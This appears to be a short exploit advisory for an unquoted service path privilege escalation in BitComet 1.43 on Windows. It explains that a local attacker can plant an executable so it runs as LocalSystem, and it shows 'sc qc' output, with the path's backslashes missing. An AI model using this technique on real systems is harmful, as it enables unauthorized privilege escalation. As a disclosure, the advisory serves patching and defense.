BitComet 1.43 Privilege Escalation
Posted on 20 October 2016
######################################################################### # Exploit Title: BitComet Unquoted Service Path Privilege Escalation # Date: 19/10/2016 # Author: Ashiyane Digital Security Team # Vendor Homepage: http://www.bitcomet.com # Software Link: http://download.bitcomet.com/bitcomet/bitcomet_setup.exe # version : 1.43 (Latest) # Tested on: Windows 7 ########################################################################## BitComet installs a service with an unquoted service path To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. ------------------------------------------- C:>sc qc BITCOMET_HELPER_SERVICE [SC] QueryServiceConfig SUCCESS SERVICE_NAME: BITCOMET_HELPER_SERVICE TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:Program FilesBitComet oolsBitCometService.exe -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : BitComet Disk Boost Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ################################################ ######### Ashiyane Digital Security Team ############ ########## exploit by: Amir.ght ##################### ################################################
